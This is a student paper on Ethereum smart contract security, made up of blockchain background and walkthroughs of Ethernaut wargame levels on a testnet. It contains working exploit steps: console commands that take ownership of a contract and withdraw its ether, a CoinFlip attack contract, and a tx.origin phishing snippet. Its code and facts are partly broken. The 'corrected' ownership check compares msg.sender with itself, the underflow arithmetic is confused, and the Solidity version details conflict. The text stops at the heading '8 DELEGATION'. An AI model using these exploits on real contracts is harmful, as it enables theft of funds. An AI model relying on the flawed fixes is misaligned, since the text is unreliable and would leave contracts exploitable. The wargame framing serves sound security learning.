Smart Contract Security

Dimitris Vagiakakos (E18019)
Department Of Digital Systems
University Of Piraeus
Piraeus, Attiki, Greece
dimitrislinuxos@protonmail.ch

Stavros Gkinos (E18043)
Department Of Digital Systems
University Of Piraeus
Piraeus, Attiki, Greece
stgkinos@protonmail.com

Ioannis Karvelas (E18066)
Department Of Digital Systems
University Of Piraeus
Piraeus, Attiki, Greece
jonncarv@gmail.com

ABSTRACT

Blockchain technology is on the receiving end of extensive attention in the last few years. This new technology serves as an established ledger which enables transactions that take place in a decentralized manner. A lot of applications that are linked to Blockchain keep on springing up, covering various fields including financial, political services, reputation system and Internet of Things (IoT). However we need to keep in mind that all these applications must meet all the security requirements. On this paper, we will find out various examples of smart-contracts' security vulnerabilities that end up getting exploited and losing all of their ether or getting destroyed.

1 INTRODUCTION

Blockchain is considered by many to be disruptive core technology and thus it has many uses. Even though, there are lots of researchers that have come to realize the great potential and importance of Blockchain, it's groundwork is still progressive. In consequence, this paper reviews our extensive research on Blockchain and Ethereum, especially in the subject area of security. Inspired by the way a Ethereum Blockchain works, we explore how the new technologies and various applications, that are associated with their functions, work and how we can secure them.

2 BLOCKCHAIN

Blockchain is a decentralized peer-to-peer based network consisted of multiple blocks, which hold batches of valid transactions that are hashed and encoded into a Merkle tree. Each one of them includes the cryptographic hash value (usually 256-bit) of the previous block in the blockchain resulting in the creation of a link between them and in that order, the linked blocks, form a chain. This iterative process validates the integrity of the previous block, all the way to the first block, the genesis block. That block is the initial one in every blockchain-based system. It is the basis on which additional blocks are added to form a chain of blocks, hence the term blockchain. This block is sometimes referred as Block 0. Every block in a blockchain stores a reference to the previous block. In the case of Genesis Block, there is no previous block for reference. One distinctive feature of this block is that it's hash value is added to all new transactions in a new block. As for the current block, it contains the hash value of the previous one, it's own hash value and the user's transaction data. Peers supporting the database have different versions of the history from time to time. They keep only the highest-scoring version of the database known to them. Whenever a peer receives a higher-scoring version they extend or overwrite their own database and re-transmit the improvement to their peers. There is never an absolute guarantee that any particular entry will remain in the best version of the history forever. Blockchains are typically built to add the score of new blocks onto old blocks and are given incentives to extend with new blocks rather than overwrite old blocks. Therefore, the probability of an entry becoming superseded decreases exponentially as more blocks are built on top of it, eventually becoming very low.

2.1 Nodes

In a Blockchain many people are distinguished according to their respective names and roles. The authority of a person usually refers to the possession and continuous updating of part or all of the chain files and a second responsibility refers to the right to apply for new blocks in the chain. Nodes which protect part of the chain are simply called nodes, while nodes that protect the entire chain are called master nodes. Both of these, use their storage space locally. Those node managers who perform the second responsibility are called miners and this process is called mining. All nodes are responsible for checking the legitimacy of the blocks being routed to them and forwarding them to neighbour nodes. Network users either they are these nodes or not, they create and channel useful data into it.

2.2 Blockchain Applications

As it was mentioned earlier, this technology has various real-life uses and some distinctive features. It has provided us with the convenience of secure sharing medical data, cross-border payments, personal identity security, anti-money laundering tracking system, voting mechanism, advertising insights, supply chain and logistics monitoring. Here, it is important to mention that all these decentralized applications are vulnerable to security and privacy issues and it is mandatory to reach a solution in order to minimize the possibilities to occur.

2.3 Decentralization

In a blockchain, each node has a full record of the data that has been stored on the blockchain since it's inception. By using the method of storing data throughout it's peer-to-peer network, the blockchain minimizes the risks that come with data being held in a central way by a lot. This peer-to-peer network that blockchain utilizes has so few vulnerabilities on the grounds that every time a successful attempt to modify the data of a block is taking place, the blockchain network is going to detect it and the validation process of the current block and the next blocks' hash value will be disapproved and therefore all nodes reject the chain, making it almost impossible for it to be corrupted. This is due to the fact that, Blockchain security methods include the use of public-key cryptography, a public key (a long, random-looking string of numbers) is an address on the blockchain. Value tokens sent across the network are recorded as belongings to that address. A private key is like a secret word-key that gives it's owner access to their digital assets or the means to interact with the various capabilities that blockchain offers. Data stored on the blockchain is incorruptible. Every node in a decentralized system has a copy of the blockchain. Data quality is maintained by massive database replication and computational trust, as a centralized copy does not exist.

2.4 Proof Of Work

Proof of Work (PoW) is the algorithm that secures many blockchain networks, including Ethereum 1.0. For the purpose of adding a new block, which bother transactions waiting for validation, into the blockchain miners need to solve a "puzzle" using computational power. A new block is accepted by the network each time a miner comes up with a new winning proof-of-work, which is so difficult that miners use expensive and specialized computers. These computers require and utilize a large amount of electrical power, that provokes the environment, which means that countries providing inexpensive electric power have the ability to mine cryptocurrencies, using PoW, in much lower cost. As a consequence these states dominate each PoW networks leading up in a more centralised network. Proof of Work blockchains provide adequate security only if there is a large network of miners competing for block rewards. In case of a conflict, we always have to trust the longest chain of blocks because this means that it has the greatest computational work of all conflicted blockchain. In case the network in a large area, that hosts a considerable number of miners (also known as Mining Pools), breaks down the PoW network is losing a significant quantity of miners that make this system safe, as a result the possibility that a hacker could gain a simple majority of the network's computational power and stage grows up, what is known as a 51% attack.

2.5 Proof Of Stake

Proof of Stake (PoS) is a type of consensus mechanisms by which a blockchain network achieves distributed consensus. In PoS-based blockchain networks the creator of the next block is chosen via various combinations of random selection of wealth or age. While the overall process remain the same as proof of Work, the method of reaching the "target" is different. In Proof of Stake, instead of miners from Proof of work, there are validators. The blockchain keeps track of a set of validators, and anyone who holds the blockchain's base cryptocurrency (in Ethereum's case, ether) can become a validator by sending a special type of transaction that locks up their ether into a deposit. The validators take turns proposing and voting on the next valid block, and the weight of each validator's vote depends on the size of it's deposit (i.e., stake). Importantly, a validator risks losing their deposit if the block they staked it on is rejected by the majority of validators. Conversely, validators earn a small reward, proportional to their deposited stake, for every block that is accepted by the majority. The validators lock up some of their Ether as a stake in the ecosystem. The validators bet on the blocks that they will be added next to the chain. When the block gets added, the validators get a block reward in proportion to their stake. The main advantages of the Proof of Stake algorithm are energy efficiency and security. A greater number of users are encouraged to run nodes since it is easy and affordable. This along with the randomization process also makes the network more decentralized, since mining pools are no longer needed to mine the blocks. Thus, PoS forces validators to act honestly and follow the consensus rules, by a system of reward and punishment. The major difference between PoS and PoW is that the punishment in PoS is intrinsic to the blockchain (e.g., loss of staked ether), whereas in PoW the punishment is extrinsic (e.g., loss of funds spent on electricity).

2.6 Wallets

A cryptocurrency wallet stores private keys and addresses which can be used to receive or spend the currency of its Blockchain in order to make a transaction. With the private key, it is possible to write in the public ledger of the Blockchain network that our wallet is connected with. Cryptocurrencies or tokens can be run in their own Blockchain Network or run as decentralized applications in other Blockchains. For example, Bitcoin, Ethereum or Monero are having their own Blockchain Networks to work. ShibaInu or VeChain are cryptocurrencies called tokens as they run in Ethereum Network. They don't have their own Blockchain. We can use the same wallet in all Ethereum Tokens. There are two types of wallets available:
i) Hardware wallet providers that provide cryptocurrency users with specific hardware solutions to privately store their cryptographic keys (e.g. Ledger Wallet108, …).
ii) Software wallet providers that provide cryptocurrency users with software applications which allow them to access the network, send and receive coins and locally save their cryptographic keys (e.g. Jaxx109).

3 ETHEREUM

Ethereum is an open source blockchain, globally decentralized computing infrastructure that executes programs, called smart contracts. Smart contracts are deployed in a runtime environment, called Ethereum Virtual Machine. As with the other cryptocurrencies, the validity of each Ether is provided by Ethereum blockchain, which is an incessantly growing list of records called blocks, which are linked and secured using hash functions, like Keccak-256 hash. A cryptocurrency wallet stores the private keys and the addresses. Addresses can be used to make transactions using Ether. Due to the decentralized framework of the Ethereum, developers are able to build decentralized applications with built-in economic functions, as it provides high availability, auditability, transparency and neutrality, while simultaneously reduces or eliminates counter intelligence and certain counter party risks.

3.1 Ether

As we have already mentioned, Ether is the cryptocurrency generated by the Ethereum protocol as a reward to miners for adding blocks to the blockchain and is the only currency accepted in the payment of transaction fees. The block reward together with the transaction fees is the inducement of miners to keep the blockchain growing, and therefore ether is fundamental to the operation of the network. Each Ethereum account has an ETH balance and may send ETH to any other account. Ether as a measuring unit has a high value so it can be splitted into sub-units. The smallest amount of Ether which can be spent is 1 Wei which is 0,000000000000000001 Ether . For example, if we want to send 1 Wei to an address we should create a transaction with value 1 Wei :

```
contract.sendTransaction({value:1})
```

Gwei it can also be used and equals to 1000000000 Weis, or 0,000000001 Ether. Finney is an another Ether sub-unit and equals to 0.001 Ether.

3.2 Addresses

Ethereum addresses are consisting of, the prefix "0x", concatenated with the rightmost 20 bytes of the Keccak-256 hash of the ECDSA (Elliptic Curve Digital Signature Algorithm) public. ECDSA is a cryptographic algorithm is used by Ethereum in order to ensure that funds can only be spent by their owners. In hexadecimal, 2 digits represent a byte, meaning addresses contain 40 hexadecimal digits. Smart contract addresses are in the same format, however, they are determined by sender and creation transaction nonce. User accounts are indistinguishable from contract accounts, given only an address for each and no blockchain data. Any valid Keccak-256 hash put into the described format is valid, even if it does not correspond to an account with a private key or a contract.

3.3 Gas

Gas is a unit of account within the EVM used in the calculation of a transaction fee, which is the amount of ETH a transaction's sender must pay to the miner who includes the transaction in the blockchain. Practically, Gas it's a separate virtual currency with it's own exchange rate against Ether. This computation model requires some form of metering in order to avoid denial-of-service (DDoS) attacks inadvertently resource-devouring transactions. The price of gas has relevance for the time for a transaction to be confirmed. The higher the gas price the faster the transaction is likely to be confirmed. As a matter of fact, gas prices can be set to zero. Nothing in the protocol prohibits free transactions. But then, it is very likely to never been confirmed. During periods of low demand for space in a block, such transactions might very well get mined.

3.4 Transaction

Data committed to the Ethereum Blockchain signed by an originating account, targeting a specific address. The transaction contains metadata such as the gas limit for that transaction.

3.5 Smart Contracts

Smart contracts are computer programs with some extra unique features. The most significant feature of Smart Contracts is that they are immutable. Once deployed, the code of a smart contract cannot be modified or change. The only way to alter the code of a smart contract is to deploy a new instance. Moreover, the outcome after the execution of a smart contract can't be contradictory. The outcome of the execution is the same for everyone who runs it. The EVM runs as a local instance of every Ethereum node, however as all of the instances of the EVM operate on the same initial state and produce the same final state. That makes the Ethereum Network a Decentralized "world computer". Importantly, contracts only run if they are called by a transaction.

3.6 Ethash

Ethash is the Proof Of Work function in Ethereum-based currencies. The Ethash algorithm relies on a pseudorandom dataset, initialized by the current blockchain length. This is called a DAG and is regenerated every 30,000 blocks. Use of consumer-level GPUs for carrying out the PoW on the Ethereum network means that more people around the world can participate in the mining process. The more independent miners there are the more decentralized the mining power is, which means we can avoid a situation like in Bitcoin, where much of the mining power is concentrated in the hands of a few large industrial mining operations. In fact, there is a deliberate handicap on Ethereum's proof of work called the difficulty bomb, intended to gradually make Proof Of Work mining of Ethereum more and more difficult, thereby forcing the transition to Proof of stake.Ethereum's Proof Of Stake Algorithm called Casper.

3.7 Web 3.0

Web3 represents a new vision and focus for web applications: from centrally owned and managed applications, to applications built on decentralized protocols. The main advantage of Web 3 is that it attempts to address the biggest problem that has resulted from Web 2: the collection of personal data by private networks which are then sold to advertisers. With Web 3, the network is decentralized, so no such entity controls it, and the Decentralized Applications (DApps) that are built on top of the network are open. The devoutness of the decentralized web means that no single party can control data or limit access. Anybody is able to build and connect with different Decentralized Applications without permission from a central company. Web 3 uses A Ethereum JavaScript API, called Web3.js which is a collection of libraries that allow users to interact with a local or remote Ethereum Node Using HTTP, IPC or WebSocket.

3.8 Metamask

Metamask is a browser plugin that is used as an Ethereum software wallet that serves as the primary user interface to Ethereum Network. Once a user installs the Metamask in his browser he is able to store Ether and other ERC20 tokens and make transactions to any Ethereum address. The wallet can also be used by the user to interact with Decentralized Applications. Metamask, just like other "web3" based applications, aims to decentralize control over personal data and increase user privacy. Metamask can be used to run both local and remote Ethereum Blockchains. We used Metamask in order to connect to Ethereum testnet called Rinkeby.io and be able to exploit security vulnerabilities of smart-contracts given by Ethernaut - a web3 based wargame played in the Ethereum Virtual Machine.

4 SOLIDITY

Solidity is an object-oriented, high-level language, explicitly for writing smart contracts with features to directly support execution on various blockchain platforms and especially, in the decentralized environment of the Ethereum world computer. Solidity was influenced by C++, Python and JavaScript program languages and is designed to target the Ethereum Virtual Machine (EVM).The main “product” of the Solidity project is the Solidity compiler (solc) which converts programs written in the Solidity language to EVM bytecode. The language is still in constant flux and things may change in unexpected ways to resolve such issues. Solidity offers a compiler directive known as a version pragma that instructs the compiler that the program expects a specific compiler (and language) version. The Solidity compiler reads the version pragma and will produce an error if the compiler is incompatible with the current version pragma. Also, it should be mentioned that minor updates of Solidity (For example, from 0.8.0 to 0.8.11) are compatible with their main version (0.8.x.). Each Pragma directives are not compiled into EVM bytecode. Version pragma is only used by the compiler to check the compatibility. In order to add version pram, we type: Pragma solidity ˆ VERSION_NUMBER;

4.1 Function Visibility Specifiers

In Smart-contracts there are multiple function visibility specifiers which have specific usages:

(1) public : A public function or variable is visible externally and internally on a smart contract. That means that a getter function is created for storage and stage variables. By using console with:

```
await contract.FUNCTIONSNAME()
```

We can see what it is inside on a public variable. Moreover, by using "contract.abi" we can find all the available public functions and variables we can call.

(2) private: Private variables and functions are only visible in the current contract. That means we can’t access on them externally. However, as Ethereum Blockchain is public we can still see what it is inside, by using web3 library with getStorage() function.

(3) external: An external function is visible only outside the Smart Contract.

(4) internal: An internal function is visible inside the Smart Contract.

4.2 Modifiers

(1) pure: It is used in functions in order to disallow modification or access of state.

(2) view: It is used in functions in order to disallow modification of state.

(3) payable: It is used for functions in order to be able to receive Ether when they get called.

(4) constant: It is used for state variables in order to disallow assignment, does not occupy the storage slot.

(5) immutable: It is used for state variables in order to allow only one assignment at construction time and is constant afterwards. It is stored in the code.

(6) anonymous: It is used for events. anonymous events are not store event signature as topic.

(7) indexed: It is used for event parameters and it stores them as topics.

(8) virtual: It is used for functions and modifiers. Virtual allows the functions or modifiers behaviour to be changed in derived contracts.

(9) override: States that this function, modifier or public state variable overrides the behaviour of a function or a modifier in a base contract.

4.3 Message Calls

Discernibly, smart-contracts can call other contracts or send Ether to non-contract accounts by the means of message calls. Message calls are similar to transaction, however they have a target, data payload, Ether, gas and return data. To be more specific, every transaction consists of a top-level message call which can create further message calls. A smart-contract is able to ascertain how much of it’s remaining gas should be sent with the inner message call and how much of it, it want to retain.

4.4 Remix - Ethereum IDE

Remix, is the official online IDE provided by Ethereum.org and it is used to create and deploy Ethereum smart contracts using Solidity programming language. It is one of the tools that helped us to deploy our attacks to other smart-contracts or to call contract functions. It has several built-in Solidity compiler versions and it runs in the web browser. Furthermore, it is used to provide a connection with Web3.js to interact with wallets like Metamask in Ethereum Mainet or Testnets. We used Remix IDE to interact to deploy our smart-contracts in the Rinkeby.io Test Network.

5 FALLBACK

We have the smart-contract Fallback and we are requested to claim the ownership of the contract, and then reduce it's balance to 0. At first, let's read the smart contract's code and search if something interesting is going on there:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner
        ↪ ]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (
      ↪ uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender
        ↪ ] > 0);
    owner = msg.sender;
  }
}
```

First of all, let's talk about the constructor. Constructor is an optional function and is used to initialize state variables of a contract. State variables are variables whose values are permanently stored in smart-contract's storage. We have to mention here that each contract can have only one constructor. A constructor code is executed once when a contract is created and it is used to initialize contract state. After a constructor code executed, the final code is deployed to blockchain. Taking this into account, under the deployment of the smart-contract, the constructor runs at first and sets the person who deployed the smart-contract as an owner in the public Boolean variable "owner", by the command:

```
owner = msg.sender;
```

If we type in console:

```
await contract.owner()
```

We can see the address that deployed this smart contract and by typing:

```
contract.address
```

We can find the smart-contract's address. Each user and each smart-contract in Ethereum Blockchain has it's own address. If we type "player" we can find our wallet's address. So, to begin with, as we want to claim ownership of the smart-contract, we are trying to find out something that sets us as the owner. We can see that there is a receive() external function that if we pass it's requirements, it sets us as the owner of the smart-contract. It looks interesting. From Solidity's documentation, we can find out that receive() is a fallback function that is executed when we create general transactions, without calling a specific function from the contract. The receive() function is executed on a call to the contract with empty calldata. This type of functions cannot have arguments or return anything. We keep this in our minds for now. The second requirements wants for us to be in the contributions array and having us sent an amount of ether more than 0. We check the contributions array if we are inside on it by calling:

```
await contract.contributions(player)
```

However, it returns as false. So, let's check the code again to find a way to add ourselves in "contributions". We can see that a payable function exists and requires to get an amount of ether smaller than 0.01 ether. We can simply send 1 Wei, the smallest amount of ether that we can send to someone by typing in console:

```
contract.contribute({value:1})
```

So now we added ourselves in the "contributions" array. Now we pass the one requirement. It's time to send a small amount of money (1 Wei as the requirement needs to be more than 0) in a generic transaction in order to pass the second requirement in the receive() function and trigger it. We type:

```
contract.sendTransaction({value:1})
```

After all of this, we can check again who is the owner of the smart-contract and we can see our address on this variable. We successfully own the smart-contract now. Let's reduce it's balance to zero. The "withdraw" function can help us with that which can be executed only from the owner of the contract. But now we are the owner. It's time to withdraw all of it's ether. We type in console:

```
contract.withdraw()
```

And then, let's check the balance of the smart-contract:

```
await getBalance(contract.address)
```

We will see a balance of 0 on this smart-contract.That means that we successfully withdrawn all of it's ether. We successfully won this game!!!

5.1 Fallout

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
              require(
                  msg.sender == owner,
                  "caller is not the owner"
              );
              _;
          }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].
        ↪ add(msg.value);
  }

  function sendAllocation(address payable allocator)
      ↪ public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public
      ↪ view returns (uint) {
    return allocations[allocator];
  }
}
```

As we already know, constructor is a function that is executed as soon as the smart contract is deployed. In this case we have the smart contract above that is called Fallout. If we copy the code into Solidity's Remix IDE to see if there is any mistakes to the code we can notice that the constructor's name has a misspell and it is called "Fal1out". So due to that programmer's mistake, the "constructor" has not the constructor's role anymore, meaning that it will not be executed as soon as the smart contract is deployed, but from now on it is a simple public payable function that anyone can execute. And whoever executes this public function "Fal1out", it can be the owner of the whole Fallout smart contract and why is that? If we see the function "Fal1out" with more caution we will see that:

```
function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
  }
```

The "owner = msg.sender;" means that whoever calls this public functions, meaning he is also the msg.sender, automatically becomes the owner of the smart contract.

So the main thing we need to focus and learn from this problem is that we need to be very cautious when we are writing a smart contract because even with such a minor mistake while writing smart contract's code can lead to such unpredictable results. Here we must add as a note that to newer solidity versions (0.7.0 and later) the constructor is not written anymore like:

```
function Fal1out() public payable{}
```

But like this:

```
constructor() public payable{}
```

6 RANDOM NUMBER GENERATION IN ETHEREUM

Coin flip is a basic game that we throw a coin and we have 50% chance of being 0 or 1. In order to win this game we need 10 consecutive wins. To begin with, we check the code of the smart-contract to find some useful stuff:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR =
      ↪ 57896044618658097711785492504343953926634992
  332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.
        ↪ number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```

Computers are unable to generate true random numbers. Computers are combining different things in order to create numbers that people can't predict easily. But, if we repeat the process that computer followed to generate the random number, we will end up with that number. Ethereum is not providing any function for random numbers. As a result, programmers have to create their own functions for randomness or to use Oracles to import random numbers outside the Ethereum Network . As the Coin-Flip game smart-contract needed randomness, the programmer imported the Safemath library to protect it from underflows and it used a long uint256 number in the FACTOR variable.

In terms of Libraries, libraries are restricted in following ways:

(1) They cannot have state variables.

(2) They cannot inherit nor be inherited.

(3) They cannot receive Ether.

(4) They cannot be destroyed.

So, we have the public function flip on the smart-contract CoinFlip. We can see they call the blockchash in order to create a hash of one of the given blocks. From Solidity's documentation, we know that blockhash can only work for the 256 most recent blocks. On account of that, in the variable blockValue, we store the blockhash of the current block number, and then they divide by the long number which is stored in variable "FACTOR". Then, it returns a Boolean result. So as we know the process of creation of the random number, what if we try to repeat the process of constructing this "random" number in our malicious smart-contract and then send the pseudo-anonymous result as our "guess"?

```
  // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

//import the original smart-contract

import "./CoinFlip.sol";


contract CoinFlipAttack {

    CoinFlip public victimContract;
     uint256 FACTOR =
          ↪ 57896044618658097711785492504343953926634
     992332820282019728792003956564819968;

    constructor(address _victimContractAddr) public {
        victimContract= CoinFlip(_victimContractAddr);

    }

//reproduce the function flip, but for the previous
     ↪ block, as the last block has been mined.
    function flip() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.
            ↪ number-1));
        uint256 coinFlip= uint256(blockValue/FACTOR);
        bool side = coinFlip == 1 ? true: false;
        victimContract.flip(side);

}
}
```

In our own smart-contract, we reproduced the function flip but we modified the blockhash function to use the previous block as an input, as block has already been mined. Now we are ready to compile and deploy our malicious smart-contract which is ready to fool the original smart-contract. All we have to do is just to spam our cheat function 10 times, until we reach 10 consecutive wins. However, as we can understand now, there is an another vulnerability here. As miners build them up with different transactions and they compete between themselves to commit their block to Ethereum's Blockchain, miners are able to exercise their judgement when building up blocks. A miner with the appropriate time, could try many different guesses and not commit blocks where he was mistaken. This one of the consequences of Proof Of Work based consensus mechanism, in the process of achieving a really random number.

6.1 Tx.origin Versus Msg.sender

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks.

An example of a possible attack is outlined below:

(1) Use tx.origin to determine whose tokens to transfer, e.g.

```
function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
```

(2) Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.

```
function () payable {
  token.transfer(attackerAddress, 10000);
}
```

(3) On this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.

In this challenge the main thing that we need to focus and consolidate is the tx.origin and why we must now use tx.origin for authorization when we write our smart contract. In order to be more precise we need to define in which cases we use tx.origin and msg.sender. To be easy to understand we will use bullets and numbering.

Tx.origin:

(1) Tx.origin –> It's a wallet type contract.
(2) The original user wallet that initiated the transaction.
(3) The origin address of potentially an entire chain of transactions and calls.
(4) Only user wallet addresses can be the tx.origin.
(5) A contract address can never be the tx.origin.
(6) tx.origin will always refer to the original address that made the original transaction (even if the contract we call, calls another, tx.origin will always refer to our address), while msg.sender refers to the address of the last caller to the current contract evaluating the transaction.

Msg.Sender:

(1) msg.sender –> The immediate sender of this specific transaction or call. Both user wallets and smart contracts can be the msg.sender.
(2) msg.sender checks where the external function call directly came from. msg.sender is typically who we want to authenticate.

We need to note that confusing tx.origin with msg.sender can lead to phishing-style attacks. In more detail here is an example:

(1) Use tx.origin to determine whose tokens to transfer, e.g.

```
function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
```

(2) Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.

```
function () payable {
  token.transfer(attackerAddress, 10000);
}
```

(3) In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.

```
function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
```

So the code above it is an example of using tx.origin for authentication that can be easily exploited The right code is:

```
function changeOwner(address _owner) public {
    if (msg.sender != msg.sender) {
      owner = _owner
```

7 ERC-20 TOKENS

7.1 Overflow/Underflow in Tokens

First of all, ERCs (Ethereum Request for Comment) are protocols that allow us to create tokens on the blockchain. ERC20, specifically, is a contract interface that defines standard ownership and transaction rules around tokens. Arithmetic underflows and overflows:

```
uint=uint256 --> 2\^256 - 1
```

In order to be easier to explain we will see how an uint8 overflow can happen so uint8 -> MaxNumber 255 –> 1|1|1|1|1|1|1|1 . Now if we want to store the number 256 the compiler resets the bits and overflows: From 1|1|1|1|1|1|1|1 it goes to 0|0|0|0|0|0|0|0 which it represents the number 0 which is smaller than the number 256 that we wanted to store. Here it is important to take notice that solidity does not show any errors if an overflow or underflow happens. How an underflow is possible to happen? For example we have an uint myVar variable which is an uint256 variable. If we input: uint myVar = 0 - 1 we will get an underflow. As before to be easier to explain we will use an example of uint8 in order to see what the output will be. So we have an uint8 variable in which we have stored the value 0 –> 0|0|0|0|0|0|0|0. If we store the subtraction 0 - 1 then it will underflow and the output will be –> 1|1|1|1|1|1|1|1. So we see that we expected a negative number because of the 0 - 1 subtraction but we ended up with a much larger number. At this point we need to emphasize,again, that Solidity does not show any errors.

These flows can lead someone to think a way in order to increase the amount of tokens he/she has in his/her account without spending any amount of money.

In order to avoid overflows and underflows we can use, while writing our smart contract, OpenZeppelin's SafeMath library for every single time we want to do an arithmetic operation using functions from the smart contract what we coded.

In case we have the smart contract below how we can cause an underflow or overflow in order to increase our accounts total tokens? Now we have 20 tokens in our account.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply =
        ↪ _initialSupply;
  }

  function transfer(address _to, uint _value) public
      ↪ returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view
      ↪ returns (uint balance) {
    return balances[_owner];
  }
}
```

As we read the code we see that the function of our interest is the function transfer. In order to call that function we must input as data an actual Ethereum address to transfer money and also the amount of money we want to transfer. In order for that function to work correctly the amount of money we want to transfer(uint _value) must also be less than or equal to our account's balance which is 20 tokens. In order to find a real Ethereum address we can go to Etherscan.io and copy one address that we like let's say for example this:

```
0x1823fddd74b439144b5b04b87f1ccc115f121f3a
```

So we write in our console:

```
contract.transfer('0x1823fddd...115f121f3a', 20 + 1)
we input 20 + 1 as a _value -> amount for money we
    ↪ want to transfer
we comply with the requirements because balances[msg.
    ↪ sender] - _value >= 0 --> 20 - 20 + 1
```

It is greater than 0 but in the next line:

```
balances[msg.sender] -= _value the final result is -1
```

Consequently, it will underflow and as a result after we call the transfer function and check our account's balance by writing in the console:

```
contract.balanceOf(player)
```

"player" is our address. Then we will see that our total tokens have increased noticeably.

7.2 Time Locked Tokens

So now we have the challenge "Naught Coin". Naught Coin is an ERC20 token and we are already holding all of them. The catch is that we will only be able to transfer them after a 10 year lockout period. Can we figure out how to get them out to another address so that we can transfer them freely? So, we have NaughtCoins locked for a 10 year period. We have to unlock them and then, get them to an another address. Let's check the code:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol
    ↪ ';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player)
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()
        ↪ ));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
        ↪
  }

  function transfer(address _to, uint256 _value)
      ↪ override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring
      ↪ tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  }
}
```

First of all, we should mention some features of the interfaces:

(1) They cannot inherit from other contracts, but they can inherit from other interfaces.

(2) All declared functions must be external.

(3) They cannot declare a constructor, state variables or modifiers.

(4) Contracts can inherit interfaces as they would inherit other contracts.

So, we can see that the contract NaughtCoin inherits all ERC20 contract functions and standards. As a result, we have to study about how ERC20 tokens are working too. On ERC20's github repository, we can find more information about its' methods. We can read that in order for a token to be compatible with the ERC20 specification, it must have implementations for the following interface:

```
contract ERC20Interface {
function totalSupply() public constant returns(uint);
function balanceOf(address tokenOwner) public
     ↪ constant returns (uint balance);
function allowance(address tokenOwner, address
     ↪ spender) public constant returns (uint
     ↪ remaining);
function transfer(address to, uint tokens) public
     ↪ returns (bool success);
function approve(address spender, uint tokens) public
     ↪  returns (bool success);
function transferFrom(address from, address to, uint
     ↪ tokens) public returns (bool success);
event Transfer(address indexed from, address indexed
     ↪ to, uint tokens);
event Approval(address indexed tokenOwner, address
     ↪ indexed spender, uint tokens);
}
```

This specification is one of the most popular, which makes finding further documentation much easier. Maybe we should use some of these functions to transfer the tokens. To begin identifying where we should look at first, we found that looking at ERC20 interface gave us many methods that we would want to look further into. In particular, the first function that jumped out to us was the transferFrom() function. We had identified that NaughtCoin ‘s transfer implementation was rendered useless by the lockTokens modifier, but NaughtCoin did not implement the transferFrom() function, which means that the StandardToken implementation of transferFrom is being called. Upon reading the source code of the transferFrom function, it appears that it allows a third party to transfer a designated amount of tokens from one account to another account. This is derived from reading the requirements for transfer.

8 DELEGATION

